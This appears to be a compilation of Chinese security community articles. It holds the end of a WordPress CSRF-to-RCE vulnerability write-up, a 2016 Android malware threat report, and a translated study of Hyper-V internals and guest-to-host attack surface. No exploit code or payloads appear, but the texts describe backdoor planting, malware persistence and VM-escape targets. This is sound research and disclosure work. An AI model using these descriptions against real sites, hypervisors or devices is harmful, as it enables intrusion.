现在攻击者已经可能使用管理员会话来执行任意JavaScript代码，那么也很容易就能实现RCE。默认情况下，WordPress允许博客管理员在管理面板中直接编辑站点主题和插件的`.php`文件。攻击者只需要简单插入一个PHP后门，就可以在远程服务器上获得任意PHP代码执行权限。
## 四、补丁情况
默认情况下，WordPress会自动安装安全更新，因此我们应该已经更新至最新的5.1.1版。如果用户或所属托管商由于某些原因禁用了自动更新功能，那么在安装补丁前，可以考虑禁用评论功能。更为重要的一点是，请管理员确保访问其他网站之前，已经注销当前的管理员会话。
## 五、时间线
* 2018/10/24：反馈漏洞报告，说明攻击者有可能通过CSRF在WordPress中注入更多的HTML标签
* 2018/10/25：WordPress官方在Hackerone上将该漏洞报告进行分类
* 2019/02/05：WordPress提供了一个安全补丁，我们测试后提供了反馈
* 2019/03/01：通知WordPress我们可以将HTML注入升级为存储型XSS漏洞
* 2019/03/01：WordPress与我们沟通，表示安全团队的某个成员已经发现该问题，准备推出补丁
* 2019/03/13：WordPress 5.1.1发布
## 六、总结
本文从CSRF漏洞开始介绍了一个完整的漏洞利用链。攻击者只需要诱导目标网站管理员访问某个恶意网站，然后就可以通过这条利用链来接管使用默认配置的WordPress站点。目标管理员并不会发现攻击者的网站有任何异常，除了访问攻击者设置的网站之外，整条攻击链中没有其他交互过程。
感谢WordPress安全团队，这些小伙伴们非常友善，并且合作解决问题时也非常专业。 | 社区文章 |
# 2016年 Android恶意软件专题报告
|
##### 译文声明
本文是翻译文章，文章来源：安全客
译文仅供参考，具体内容表达以及含义原文为准。
********
****报告下载地址：**[ **[PDF版本]**](https://yunpan.cn/ceVtExJdEZaPA)[
**[word版本]**](https://yunpan.cn/ceVtW7w8CcXyg)**
**摘要**
2016年全年，360互联网安全中心累计截获Android平台新增恶意程序样本1403.3万个，平均每天新增3.8万恶意程序样本。
2016年全年，从手机用户感染恶意程序情况看，360互联网安全中心累计监测到Android用户感染恶意程序2.53亿，平均每天恶意程序感染量约为70万人次。
根据移动端恶意程序感情况，经历2012-2014三年的高速增长期，2016年首次停止增长，说明手机恶意程序进入平稳期。
2016年Android平台新增恶意程序主要是资费消耗，占比高达74.2%；其次是恶意扣费（16.5%）、隐私窃取（6.1%）。
2016年，从省级地域分布来看，感染手机恶意程序最多的地区为广东省，感染数量占全国感染数量的11.4%；其次为河南（6.31%）、江苏（5.86%）、山东（5.32%）、四川（5.3%）。
从城市看，北京用户感染Android平台恶意程序最多，占全国城市的4.0%；其次是广州（2.8%）、南京（2.4%）、重庆（2.0%）、成都（2.0%）。位居Top10的城市还有郑州、昆明、杭州、深圳、石家庄。
钓鱼软件、勒索软件、色情播放器软件、顽固木马成为2016年流行的恶意软件。
从恶意软件开发技术角度看，
2016年恶意软件利用社会工程学、界面劫持、破解接口、开源项目、简易开发工具、碎片化代码、注入系统根进程、篡改系统引导区以及代理反弹技术，成为主要使用的新技术。
从恶意软件传播技术角度看，2016年恶意软件采用伪基站、链接重定向以及跨平台的方式传播，成为主要使用的新技术。
2016年，基于传统犯罪形式的黑色产业与基于企业级业务合作的黑色产业，是移动平台黑色产业的两个基本类别。
在基于传统犯罪形式的黑色产业方面，跨平台电信诈骗、私彩赌博和手机勒索等黑色产业异常活跃；在基于企业级业务合作的黑色产业方面，色情播放器推广相关的流量黑产呈爆发性增长趋势。
移动平台黑色产业的整体发展趋势正在由基于传统犯罪形式的黑色产业向基于企业级业务合作的黑色产业过渡。
作为系统厂商需要夯实系统基础安全，作为手机厂商应该加速完善系统更新机制，作为安全厂商要提升能力强化合作及时发现和抵御恶意软件最新威胁。同时，系统厂商、手机厂商以及安全厂商三方应该在威胁情报方面深化合作，共同建立起移动生态安全保障体系。
从移动威胁趋势上看，银行金融对象依然是攻击热点；移动平台仍然是勒索软件的重灾区；手机系统攻防技术更加激烈；针对企业移动办公的威胁加大；劫持路由器的新型木马给物联网或带来众多隐患；针对高级目标持续定向攻击的全平台化成为今后的主要趋势。
**关键词：移动安全、恶意程序、移动黑产、威胁趋势**
**第一章 总体态势**
**一、 样本量与感染量**
2016年全年，360互联网安全中心累计截获Android平台新增恶意程序样本1403.3万个，平均每天新增3.8万。全年相比2015年（1874.0万）下降25.1%，扭转了2015年以来迅猛增长的势头，但自2012年以来，移动端从几十万跨越到千万级别恶意样本，显示了移动恶意程序总体进入平稳高发期。
2016年Android平台新增恶意程序感染量的按季度对比情况，分析可知，一季度的恶意程序样本量不高，但是感染量却是全年四个季度中最高的。
全年来看，2016年四个季度的感染量呈现下降趋势。其中一季度最高约为8800万人次，四季度的感染量则最少，仅为4400万人次。
2016年安卓平台新增恶意程序类型主要是资费消耗，占比高达74.2%；其次为恶意扣费（16.5%）、隐私窃取（6.1%）、流氓行为（2.3%）和远程控制（0.9%）。
资费消耗类型的恶意样本占比已达到3/4，说明移动端恶意程序依然是以推销广告、消耗流量等手段，增加手机用户的流量资费等谋取不法商家的经济利益。当前主流运营商的资费模式重心已经转向流量，而不再单纯倚重语音通话。资费消耗类恶意程序对用户资费造成的影响还是比较明显。
**二、 地域分析**
2016年从地域分布来看，感染手机恶意程序最多的地区为广东省，感染数量占全国感染数量的11.4%；其次为河南（6.31%）、江苏（5.86%）、山东（5.32%）、四川（5.3%）。
下图给出了2016年Android平台恶意程序感染量最多的十大城市。毫无疑问，北京用户感染Android平台恶意程序最多，占全国城市的4.0%；其次是广州（2.8%）、南京（2.4%）、重庆（2.0%）、成都（2.0%）。位居Top10的城市还有郑州、昆明、杭州、深圳、石家庄。
**第二章 年度流行恶意软件**
**一、 钓鱼软件**
钓鱼软件通常以精心设计的虚假页面、诱导性的文字图片，以假充真。钓鱼软件的目的在于“偷”，不但能够将用户在虚假页面上输入的包括银行卡、账号密码等重要隐私信息进行回传，还会窃取用户手机中的短信、联系人等信息，通过不法手段收集用户重要的个人信息，危害用户隐私和财产安全。
**(一) 表现形式**
钓鱼软件在国内和国外的表现形式有着明显不同，国外的钓鱼软件，主要是通过监控特定APP运行时，覆盖在应用上面一层虚假的提示框，提示框内容大多是添加信用卡、仿冒的登录界面等。
国内主要是通过打开伪基站发送的仿冒运营商和银行的短信中的恶意链接，这些链接指向钓鱼页面或者是钓鱼软件的下载地址，窃取用户主动输入的信息。或利用熟人关系，降低受害人警觉性，诱骗其下载，安装运行后无需用户主动输入，直接窃取用户手机中隐私信息。
**(二) 来源**
钓鱼软件的来源，国外主要来自地下黑市中交易的恶意软件源码[1]，通过修改源码制造出多种类型的变种。
国内主要来自带有钓鱼软件下载链接的短信，这类钓鱼短信来自三个方面：不法分子非法获取的公民个人信息，利用这些信息有选择性的发送带有钓鱼软件下载链接的短信；通过临时搭建的伪基站，在一定半径内范围内的手机信号，之后使用任意号码强行向其影响范围内的手机发送伪基站短信息；通过熟人关系，部分钓鱼软件带有遍历通讯录，向联系人群发短信的恶意行为，这也就是用户经常收到来自通讯录中好友发来的请柬、聚会照片、订单、艳照等等带链接的短信。
**(三) 规模**
2016年，国外钓鱼软件木马家族主要包括Hqwar、Asacub、Acecard、Marcher、Zbot和Bankosy。其中，占比前三位是，Hqwar（41%）、Asacub（
21%）、Acecard（17%）。
根据360手机卫士数据显示，2016年第四季度通过短信传播的钓鱼软件的短信拦截量约4233万条，平均每月拦截数量约1411万条。
从短信号码看，主要分为三种类型：仿冒银行（49%）、个人号码（43%）和仿冒运营商（8%）。由于钓鱼软件能够向通讯录中联系人群发短信，利用熟人传播，所以个人号码占据一定比例。
2016年，根据360互联网安全中心对钓鱼软件盗取的个人信息类型的抽样分析看[2]，其中67.4%的软件会窃取短信信息，34.8%的软件会窃取手机银行信息，10.0%的软件会窃取手机联系人信息，3.7%的软件会窃取手机通话记录，2.0%的软件会窃取社交软件（例如微信、QQ等）聊天记录，1.8%的软件会窃取手机录音信息，0.1%的软件会窃取手机照片信息。
2016年我们通过大量用户调研发现，平均每个用户手机中存储的联系人信息约为385条，短信信息586条，通话记录986条，照片195张。个人信息年度窃取量＝人均手机信息存储量×中毒后手机信息窃取率×年度恶意程序感染量，依据上述计算方法估算出的手机恶意程序对用户手机中的联系人、短信、通话记录和照片等信息的年度窃取量估算结果：
**(四) 攻击对象**
钓鱼软件攻击的对象包括国外银行软件、Google应用，社交应用，购物支付以及流行的应用软件。
**(五) 活跃地区**
钓鱼软件在全球范围内肆虐，这种危害性极高的恶意样本引起了全球各大安全厂商的关注，根据全球安全厂商公开披露的威胁情报，钓鱼软件活跃地区覆盖了亚洲、欧洲、大洋洲及北美洲。
**二、 勒索软件**
手机勒索软件[3]是一种通过锁住用户移动设备，使用户无法正常使用设备，并以此胁迫用户支付解锁费用的恶意软件。手机勒索软件的目的在于“抢”，它抓住了用户“占小便宜”和相互攀比的心理，用户一旦中招，软件强行锁住手机设备，造成用户手机无法使用。敲诈勒索者法律意识淡薄，大胆留下自己的QQ、微信以及支付宝账号等个人联系方式，不给钱不解锁，迫使用户支付解锁费用。
**(一) 表现形式**
手机勒索软件表现为手机触摸区域不响应触摸事件，频繁地强制置顶页面无法切换程序和设置手机PIN码。
**(二) 来源**
手机勒索软件在制作方面主要使用开发工具AIDE，并且通过QQ交流群、教学资料、收徒传授的方式进行指导；在传播方面，主要通过QQ群、受害者、贴吧、网盘等方式传播。
**(三) 规模**
2016年从各季度手机勒索软件新增数量看，国内样本数量持续增长，第四季度超过4万个，全年累计约12万个；国外样本数量逐渐减小，第四季度只有约7600个，全年累计约5万个。
**(四) 伪装对象**
对比国内外勒索类恶意软件最常伪装的软件名称可以看出，国外勒索类恶意软件最常伪装成色情视频、Adobe Flash
Player和系统软件更新这类软件。而国内勒索类恶意软件最常伪装成神器、外挂及各种刷钻、刷赞、刷人气的软件，这类软件往往利用了人与人之间互相攀比的虚荣心和侥幸心理。
**(五) 受害人群**
通过一些被敲诈的用户反馈，国内敲诈勒索软件感染目标人群，主要是针对一些经常光顾贴吧的人，以及希望得到各种所谓的“利器”、“外挂”的游戏QQ群成员。这类人绝大多数是90后或00后用户，抱有不花钱使用破解软件或外挂的侥幸心理，又或是为了满足互相攀比的虚荣心，更容易被一些标榜有“利器”、“神器”、“刷钻”、“刷赞”、“外挂”等字眼的软件吸引，从而中招。
**三、 色情播放器软件**
色情播放器软件[4]指的是名称具有诱惑性、图标暴露的以在线播放色情视频为主要功能的恶意软件。这类恶意软件不但会造成恶意扣费，通常还会捆绑恶意插件，这些恶意插件能够窃取用户隐私、篡改系统文件、私自下载消耗流量等等。另外，色情播放器软件还扮演着其他木马家族传播媒介的角色，比如“舞毒蛾”、“百脑虫”木马家族，大多会借助色情播放器软件的传播，感染了上百万台手机设备。
色情播放器软件的目的在于“骗”，它主要以诱导充值、恶意扣费和广告推广作为盈利手段，并且这类软件擅长掌握人的需求，一些禁不住诱惑的人最容易中招。我们从用户反馈中了解到除了一部分用户是被动中招外，还有一部分用户是主动安装。甚至置安全软件危险警告于不顾，仍然选择安装运行，导致出现财产损失等一系列安全问题。
**(一) 表现形式**
色情播放器在恶意扣费上表现为明扣和暗扣两种方式，明扣即诱导充值，通过视频试看方式，一步一步诱导用户支付。
暗扣即恶意扣费，软件通过植入特定的扣费代码，在用户未知情的情况下，订购通信增值业务。
**(二) 来源**
色情播放器类软件来自广告联盟的网络流量投放推广，投放方式包括：网页诱导、网页挂马、广告推广、APP捆绑、论坛和热门影视。
**(三) 规模**
2016年，从每月色情播放器类软件新增数量看，6月份新增数量最多约为123.1万个，全年累计新增数量约820.1万个，平均每月新增数量约68.3万个。
色情播放器类软件数量庞大，传播范围广的原因有两点：一个是是因为在不同时间内，同一链接可以灵活控制重定向到多个下载链接，并且通过检查浏览器UA标识来逃避审查；另一个是广告联盟作为色情播放器类恶意软件传播中的联系平台，并不是相对独立，而是多个广告联盟呈现上下游的协同合作。
**四、 顽固木马**
顽固木马是指采用传统通杀方法不能根除、部分具有极强的破坏性需要对系统做针对性修复的木马。顽固木马通常会进行盗取数据、恶意扣费、恶意推广、篡改手机信息等攻击行为，且部分具有极强的防卸载防查杀的对抗能力，普通的手机安全软件都无法彻底清除。
顽固木马相比其他几种木马，其目的动机更加明确，顽固木马的目的主要在于“推”，推广其他软件产生推广利益价值，所以要保证自己的留存率和稳定的运行环境。这类木马为了生存，不断与安全软件对抗，技术水平从广度和深度层面上在不停地提高。一旦进入到手机系统中，带来严重的安全威胁，不但能够完全控制用户手机系统，还会对手机系统进行破坏，甚至无法正常恢复和还原。
**(一) 表现形式**
顽固木马通常会先获取手机系统Root权限，再通过感染、植入、替换系统文件的方式将恶意某块写入到系统中。
**(二) 来源**
以“地狱火”顽固木马[5]为例，它通过捆绑有恶意程序的母体APK进入到手机系统中，母体负责解密释放核心子包，子包负责执行获取Root权限，推广其他应用及寄生到系统底层三种恶意行为。
捆绑有恶意程序的母体APK按照软件类型分类看，色情播放器类软件约占98%。这些色情播放器类软件相互推广、交叉传播，是“地狱火”顽固木马的主要来源。
**(三) 规模**
2016年全年，360互联网安全中心累计截获Android平台顽固木马新增恶意程序样本约177.4万个，平均每月新增约14.8万个。全年相比2015年增长279.9%，相比2014年，呈现百万级数量增长。
**(四) 伪装对象**
从顽固木马伪装的对象看，最易伪装的对象排在首位的是“/system/bin/debuggerd”。debuggerd
是Android系统自带一个诊断程序异常的程序，它可以侦测到程序崩溃，并将崩溃时的进程状态信息输出到文件和串口中，以供开发人员分析调试使用。
debuggerd成为顽固木马首选的原因有三点：第一点，该文件会在开机时启动，提供了顽固木马的自启条件；第二点，这个文件被替换、篡改，一般不会影响手机的正常使用，保证顽固木马运行环境的稳定性；第三点，该文件是系统常规文件，顽固木马伪装成相同的名称不易被发现，隐蔽性强。
**查看完整版报告请点击下载：**[ **[PDF版本]** ****](https://yunpan.cn/ceVtExJdEZaPA)[
**[word版本]** ****](https://yunpan.cn/ceVtW7w8CcXyg) | 社区文章 |
# Hyper-V的基本知识学习
##### 译文声明
本文是翻译文章，文章原作者 ernw，文章来源：static.ernw.de
原文地址：<https://static.ernw.de/whitepaper/ERNW_Newsletter_43_HyperV_en.pdf>
译文仅供参考，具体内容表达以及含义原文为准。
最近看了BlackHat2018的议题[《Hardening Hyper-V through offensive security
research》](https://i.blackhat.com/us-18/Thu-August-9/us-18-Rabet-Hardening-Hyper-V-Through-Offensive-Security-Research.pdf)，觉得很有兴趣，查找相关资料，发现了一篇ERNW关于hyper-V研究的文章[《Security Assessment of
Microsoft
Hyper-V》](https://static.ernw.de/whitepaper/ERNW_Newsletter_43_HyperV_en.pdf)，虽然有些信息相对较老，但是作为hyper-v入门资料，提供的思路仍然是比较不错的，翻译记录一下共同学习。
## 1 引言
Hyper-V是微软的第一个裸机hypervisor，也是第一个完全支持x86-64体系结构的本地hypervisor。作为类似的虚拟化解决方案（如vmware
esxi、xen或kvm）的竞争替代品，Hyper-V在市场上占有很大的份额，并且由于其易与Microsoft解决方案集成，市场份额在不断增加。除了这种企业定位之外，Hyper-V还应用于各种其他平台，如Microsoft Azure或Xbox One游戏控制台。
尽管Hyper-V越来越重要，但到目前为止，公开提供的研究很少。在市场上运行了近六年之后，只有少数拒绝服务漏洞得到了修补。尽管微软的SDL在生产安全软件方面有着令人印象深刻的记录，但对于如此复杂的软件来说，这样低的漏洞数量似乎是不切实际的。
本文描述了我们关于Hyper-V防止恶意的非特权来宾VM攻击，这方面的安全性研究。我们关注内存破坏、协议解析和设计缺陷等相关的漏洞，但没有对诸如侧通道、定时攻击或周围环境非安全管理等问题进行研究。
本文的组织结构如下：第2章给出了有关Hyper-V体系结构的技术概述，包括其对设备仿真和合成设备的支持。此外，我们还将重点介绍如何在Azure环境中使用Hyper-V，及其随之而来的安全需求。第三章从恶意虚拟机的角度讨论了所存在的攻击面。这些攻击面将被分解为单独的功能，并描述为攻击者可用的输入向量以及我们评估这些向量的方法。第4章讨论了我们研究所关注的结果：hyper-v的hypercall功能中的重要漏洞ms13-092。第5章描述了进一步研究所关注的目标，并得出最终结论。
## 2 Hyper-V的架构
该章将详细描述Hyper-V的内部架构，其中所涵盖的术语、组件和内部架构会在第3章的攻击面分析中有所涉及。
### 2.1 概述
Hyper-V是I型虚拟机管理程序（hypervisor），因此可以直接在不依赖底层操作系统的硬件上运行。然而可能另许多用户感到诧异的是，Hyper-V又是通过常规Windows服务中的添加附加角色来安装的。
其实在安装过程中，Windows操作系统将变为一个Hyper-V partition（高权限），并在重启后由hypervisor所管理。
图1 高级架构
图1中显示了Hyper-V架构的概况。 微软将虚拟化操作系统分区分为root partition（特权）和child partition（非特权）。root
partition受hypervisor完全信任，负责管理和配置所有其他partition（类似于Xen的Dom0）。Hyper-V支持对未修改（无Hyper-V接口）操作系统的虚拟化，但运行时操作系统并不知道自身处于虚拟环境中，这种情况被称为Unenlightened 。
为了实现这种情况，hypervisor透明地模拟了现代操作系统所支持的标准设备。
另一种Enlightened操作系统由于支持Hyper-V接口，可以利用更多的高级特性来提高性能。 Hypercalls是公开的Hyper-V
API，通过使用Hypercalls可以直接与hypervisor通信，该机制类似于操作系统内核提供的systemcall接口。
此外，VMBus机制可以用于root partition和child partition之间的直接高速通信。
这些特性主要在合成设备中，能够被Enlightened partition所使用的，且快于模拟设备。
由于微软决定尽可能减少Hyper-V hypervisor的大小，所以大部分功能都是外包给root
partition，这其中包括了模拟设备、合成设备和所有高级管理接口。
该决定将hypervisor代码的自身复杂性显着地降低到大约100000行。但是，对整个Hyper-V环境的安全性影响却有限，稍后将对此进行演示。
### 2.2 VMWP, VSC和VSP
图2 Hyper-V组件
图2中显示了root partition和Enlightened child partition内的核心组件。对于每个child
partition而言，在root
partition中都运行了一个与之相应的普通用户空间进程，即虚拟机工作进程（VMWP）。该工作进程执行快照或迁移等管理职责，但同时它也实现了上述设备和一些非性能关键的合成设备的仿真。
在用户空间进程中实现这些功能有许多优点：首先，由于bugs和高资源消耗所导致的崩溃，不会影响到root
partition、其余VMs以及hypervisor整体的稳定性；其次，VMWP可以在低权限中执行，这意味着攻击者想要利用设备模拟层中漏洞的，还需要在root
partition中提权。但是，由于额外上下文切换的需要，这种用户空间实现方式并不适用于性能重要的设备，如网络和存储等。
此类性能重要的设备在虚拟化服务提供者（VSP）中实现。 VSP是在root
partition的内核中运行的驱动程序，因此是攻击者非常感兴趣的目标。child
partition中类似VSP功能的是虚拟化服务客户端（VSC）。所有现代版本的Windows都已包含这些内核驱动程序，并为合成设备提供操作系统支
持。此外，Linux和FreeBSD包含由Microsoft工程师提供的多个VSC的开源实现。对于Linux，此代码称为Linux Integration
Services，现在直接包含在kernel tree中。不过，在Github仓库中也可以找到具有其他功能的更新版本。
仅仅有设备支持对于虚拟化解决方案来说是不够的，hypervisor的核心任务是CPU和内存的虚拟化。与几乎所有的x86-64
hypervisor一样，Hyper-V使用硬件辅助虚拟化。这意味着Hyper-V使用Intel VT和AMD-V等扩展的rtualization指令集。由于我们所有的研究都是在英特尔硬件上进行的，因此我们将在本文中使用英特尔的特定功能术语。
### 2.3 硬件辅助虚拟化
Intel VT添加了两种不同处理器操作模式：VMX root模式和VMX non-root模式。hypervisor运行在VMX
root模式，所有的分区都运行在non-root模式。
在非root模式下运行的VM不会受到任何性能影响，但某些事件可能会触发上下文从而切换到hypervisor。这些上下文切换称为VM
exits，可能由于某些诸如执行某些指令（如中断处理）或访问特殊系统寄存器等原因而产生。
英特尔VT的目标之一是对客户操作系统透明。因此，由指令或系统寄存器访问触发的VM exits需要hypervisor完全模拟其行为。虽然这对于许多VM
exits的原因来说无足轻重，但对于完全支持x86架构的所有极端情况来说却是困难且易出错。完整讨论硬件辅助虚拟化的安全问题超出了本文的范围，因此后面的部分将只详细地描述VT体系结构的几个属性。
尽管英特尔VT设计为对客户操作系统透明，但Hyper-V对enlightened partition的支持要求虚拟化操作系统可以检查它是否在Hyper-V中运行。这需要下面部分所描述的专用接口发现机制来提供支持。
### 2.4 接口发现
当虚拟分区执行CPUID指令时，将触发VM exit，Hyper-V通过添加Hyper-V特定信息来修改典型的CPUID返回值。 EAX =
1的CPUID调用将设置ECX寄存器与MSB。 这表明hypervisor是存在的。
可以通过执行输入值介于0x40000000和0x40000006之间的CPUID来查询有关Hyper-V版本和分区权限的更多信息。
图3显示了在Windows Server 2012 Hyper-V系统上执行小程序的输出。
图3 CPUID指令
有趣的是，返回的信息包括Hyper-V的确切版本，以及调用分区的超级调用权限。 这些详细信息可以帮助攻击者确定是否存在某些漏洞，并对攻击进行定位。
此外，在Azure VM中使用此接口发现机制会返回非常有趣的结果，如下一节中所述。
### 2.5 Azure Hypervisor=Hyper-V？
正式地说，Microsoft Azure云运行在称为“Azure hypervisor”的hypervisor上，该管理程序与Hyper-V不同。
但是，即使粗略地看一下Azure VM，也会发现这两个hypervisor至少具有很强的相关性。 图4显示了Azure
VM的屏幕截图，其中运行标准Hyper-V VSC服务，并在Azure VM中执行CPUID指令。
图4 Azure中的Hyper-V集成服务和Azure中的CPUID指令
此外，我们可以使用上一节中讨论的接口发现机制。 图5显示了CPUID命令的输出：唯一可识别的差异在Service Pack和服务分支编号中。
甚至分区权限也与默认Hyper-V VM的权限相同。
从工程角度来看，在Hyper-V和Azure之间共享代码库是合乎情理的。
对于针对Azure的安全研究人员或恶意攻击者而言，在离线分析hypervisor方面有巨大优势。 通过专注于与Azure相关的Hyper-V攻击面，发现对Azure云产生严重影响漏洞的机会非常高。
### 2.6信息来源
尽管Hyper-V是一种专有软件产品，但有一些公共信息源可用于更好地理解其实现：
[hypervisor顶级功能规范](https://docs.microsoft.com/en-us/virtualization/hyper-v-on-windows/reference/tlfs)：此规范包括对Hypercall API和接口发现机制的详细讨论。
[专利申请](http://www.patentsencyclopedia.com/app/20120084517)：多个公共专利申请描述了Hyper-V的实现细节。 这包括用于Child-Parent通信的机制以及协议规范。
虽然与普通技术文档相比，大多数应用程序都很难阅读，但它们仍然有助于理解内部命名和高级架构。
[Linux集成服务](https://github.com/LIS)：如前所述，Linux集成服务是VSC，VMBus和Linux的hypercall
API的开源实现。 它们简化了Hyper-V这些部分中实现细节的理解，在开发评估和攻击这些API的工具时非常有用。
[Singularity头文件](https://archive.codeplex.com/?p=singularity)：Singularity是由Microsoft
Research开发的开源研究操作系统。 其SVN存储库包含许多专有的Windows头文件，包括用于Microsoft Hyper-V来宾界面的多个。
[通用标准认证文件](http://www.commoncriteriaportal.org/files/epfiles/0570b_pdf.pdf)：通用标准认证要求提供全面的文件。
该文档是公开的。
二进制文件：当然，可以从实现本身中提取最准确和最详细的信息。 表1列出了我们在研究期间分析的几个文件。 下一节将介绍逆转这些文件所涉及的一些挑战。
文件名 | 描述
---|---
hvix64.exe / hvax64.exe | Hypervisor核心可执行文件，适用于Intel和AMD。 包括引导过程完成后在VMX
root模式下运行的所有代码
vmwp.exe | VM工作进程的可执行文件。 包括设备仿真的代码，以及几个合成设备
vmswitch.sys | 实现Networking VSP的Windows内核驱动程序
storvsp.sys / vhdmp.sys | 存储VSP的内核驱动程序
表1 Hyper-V可执行程序
### 2.7 逆向工程陷阱
Hyper-V及其一些核心功能的逆向工程，我们必须克服几个挑战。 这些挑战对于分析Hyper-V的任何安全研究人员都非常重要，我们希望以下小节中的描述将提供有帮助的见解。
#### 2.7.1 符号移植
为了解安全相关核心功能的实现，如VM exit处理或hypercall API，对hypervisor二进制文件的逆向工程是必不可少的。
我们的研究是在英特尔硬件上进行的，因此我们使用了hivx64.exe。 在尝试初步了解所包含的功能时，我们必须克服一些挑战。
首先，没有可用于二进制文件的公共调试符号。 这增加了识别安全相关代码区域所需的工作量。
其次，通过搜索调试输出和其他人类可读字符串来识别关注功能的标准方法不起作用，因为hypervisor中的此类功能非常少。最后，我们不能依赖于已知API或库的使用。
与用户空间程序或内核驱动程序相比，hypervisor是单个静态链接的可执行文件。
但是，我们可以使用一些技术来识别所关注的功能：名为Gerhart的研究人员在securitylab.ru上的一篇详细博客文章中描述了他的[符号移植方法](https://www.securitylab.ru/contest/444112.php)：hvix64.exe与winload.exe和hvloader.exe共享大量代码。
公共调试符号对于它们都可用。
使用流行的[BinDiff软件](http://www.zynamics.com/bindiff.html)，我们可以识别共享功能，并将包含的符号移植到我们的可执行文件中。
不幸的是，共享功能主要涉及网络代码，USB堆栈以及WinDBG调试器存根，并且对于我们识别攻击面的目标并不那么关注。
#### 2.7.2 VMCS
如前所述，hypervisor不依赖任何外部库。 它使用的唯一有用的文档功能是用于配置和管理不同虚拟机的Intel VMX指令。
如英特尔官方手册14第3卷所述，VMX的核心部分是称为VMCS（Virtual-Machine Control Structures
虚拟机控制结构）的数据结构。 VMCS分为四个逻辑部分：
* Guest-state区域
* Host-state区域
* VM-execution, VM-exit 和 VM-entry控制字段
* VM-exit信息字段
Guest-state区域用于存储VM退出时的处理器状态，并将控制权传递给hypervisor。这包括某些控制寄存器，以及MSR和段选择器，但最重要的是RIP，RSP和RFLAGS的值。
当hypervisor处理VM exit并继续虚拟机时，处理器状态从VMCS加载，并且可以（潜在地）继续透明地执行。
Host-state区域在VM-exit期间加载，并在处理这些exits时描述hypervisor的初始状态。
这是我们特别关注的，因为存储的RIP和RSP值允许我们快速识别主exit处理程序及其堆栈位置。
VM-execution的控制字段控制VMX non-root模式下的操作。 这些字段控制中断和某些类型的指令的处理，并决定哪些操作触发VM exit。
它们是安全研究的一个关注目标，因为不安全的控制领域设置可能导致严重的逻辑缺陷。
最后，VM-exit信息字段包含有关VM-exit原因的信息。 这些信息在整个VM出口处理程序中使用，因此从逆向角度来看非常相关。
读写VMCS字段的专用指令：VMREAD和VMWRITE。 两个指令都需要编码的参数来描述所访问的VMCS字段。
对于我们的研究，我们决定以半自动化方式使用这些信息。 使用IDAPython脚本，我们将所有VMCS访问转换为可读的版本。
这简化了对涉及VMCS字段的所有代码部分的理解，并允许我们识别主要功能，如VM exit处理和hypercall处理程序。
图5 具有可读字段名称的VMREAD指令
#### 2.7.3 调试
尽管静态分析被证明是可行的，用以获得初步的理解，但我们很快就决定进行额外的动态分析以进行更全面的分析。
有趣的是，微软的WinDBG集成了Hyper-V调试功能。 调试Hyper-V本身的工作方式几乎与调试Windows内核的方式相同，但由于缺少符号和功能而不太顺手。
像Firewire，以太网和USB等不同的访问方法都可以被支持，但实际上我们在带有标准串口的物理硬件上获得了最可靠的结果。
尽管使用物理硬件调试绝对是可能的，但基于虚拟化的方法会更加顺手。 幸运的是，当前版本的VMware Workstation和VMware
Fusion支持称为嵌套虚拟化的功能。 嵌套虚拟化允许在虚拟机内部使用Intel VT，并且可以将Hyper-V作为普通VM运行。
通过虚拟化Hyper-V本身，我们获得了许多优势。 除了上面提到的WinDBG接口，我们现在还可以使用VMware的内置GDB存根作为替代调试环境。
此外，快照可以用作获取物理内存转储的简单快捷方式。 [VMware Workstation /
Fusion](https://insinuator.net/2014/01/serial-port-debugging-between-two-virtual-machines-in-vmware-fusion/)还支持在虚拟机之间共享串行端口，从而可以在虚拟机中同时运行调试器和被调试机器。
虽然这仍然不会带来舒适或功能丰富的调试环境，但事实证明，这足以进行我们研究所需的分析。
## 3 攻击面和测试方法
基于第2章中介绍的体系结构概述，对于VM突破攻击，我们将以下组件确定为的潜在并有希望的目标：
* 1.设备模拟
* 2.VMBus和合成设备
* 3.Hypercall API
* 4.VM Exit 处理
以下部分将更详细地描述每一个组件，并介绍我们发现安全问题的方法。 我们还没有粗略评估过一般VM exit处理，因此本章不包括此主题。
#### 3.1 设备模拟
设备虚拟化是每个虚拟化解决方案的核心任务之一。 虽然合成设备具有更好的性能特征和更好的接口，但它们不足以用于通用虚拟化。
没有明确支持这些设备的旧操作系统仍然依赖于虚拟环境中“标准”硬件的可用性。
此问题通常使用设备仿真来解决，，其中具有广泛支持的旧硬件由hypervisor模拟。
由于仿真设备的高复杂性和高性能要求，设备仿真通常是虚拟化软件的薄弱环节。 2007年，Tavis
Ormandy描述了他在多个虚拟化解决方案中模拟仿真设备的方法，该解决方案发现了多个漏洞。
此外，设备仿真层是Xen和KVM管理程序的流行目标，它们使用QEMU来实现其设备。
Hyper-V支持许多普通虚拟机的仿真设备：
* 网络适配器
* S3 Trio显卡
* 键盘/鼠标
* IED控制器
所有这些都在虚拟机工作进程vmwp.exe中实现。
因为模拟设备的攻击面很容易理解，并且fuzzing它们不需要特定于单个hypervisor的知识，所以我们没有期望很多结果。
所有设备的基本fuzzing测试都会触发VM的永久性崩溃，这些崩溃是由工作进程中的断言触发的。
此外，我们能够以100％的CPU消耗冻结工作进程，这需要使用父分区的任务管理器杀死硬件。
这可能是某些云环境的相关问题，但不会以任何方式影响其他VM，因此并不重要。
对 vmwp.exe二进制文件的进一步静态分析，表现出了许多防御性检查，并且没有明显的安全漏洞。
#### 3.2 VMBus和合成设备
##### 3.2.1 VMBus
如前所述，VMBus是用于分区之间通信的机制。 在Hyper-V的默认配置中，仅允许在child partition和root
partition之间进行通信。 VMBus本身通过映射到多个分区的内存页来实现的，在默认情况下映射到root partition和目标child
partition。 这意味着通过总线发送的数据不需要通过hypervisor“复制”，减少了必要的上下文切换次数，从而显着提高了性能。
VMBus通信分为多个通道，每个通道由一个输入和输出环形缓冲区组成。 由于环形缓冲区空间非常有限，因此性能关键组件利用访客物理地址描述符列表（Guest
Physical Address Descriptor Lists GPADLs）的附加机制，该机制允许root
partition将客户机内存的其他页面直接映射到其自己的地址空间。
VMBus基础架构的主要用户是合成设备。 这包括存储和网络，还包括视频驱动程序和一些其他实用程序服务（例如时间同步，VM的动态内存分配和键值服务）。
如2.2节所述，存储和网络是作为内核驱动程序实现的。
这使得它们成为关注的目标，因为这些驱动程序中的漏洞（例如，解析来自攻击者控制的分区的输入）将导致root
partition的内核空间直接损害，从而破坏整个root partition。 相反，视频驱动程序以及所有实用程序服务却都是作为VM工作进程的一部分实现。
##### 3.2.2 存储
图6 合成存储设备高级概览
对于我们的研究，首先关注存储VSP。
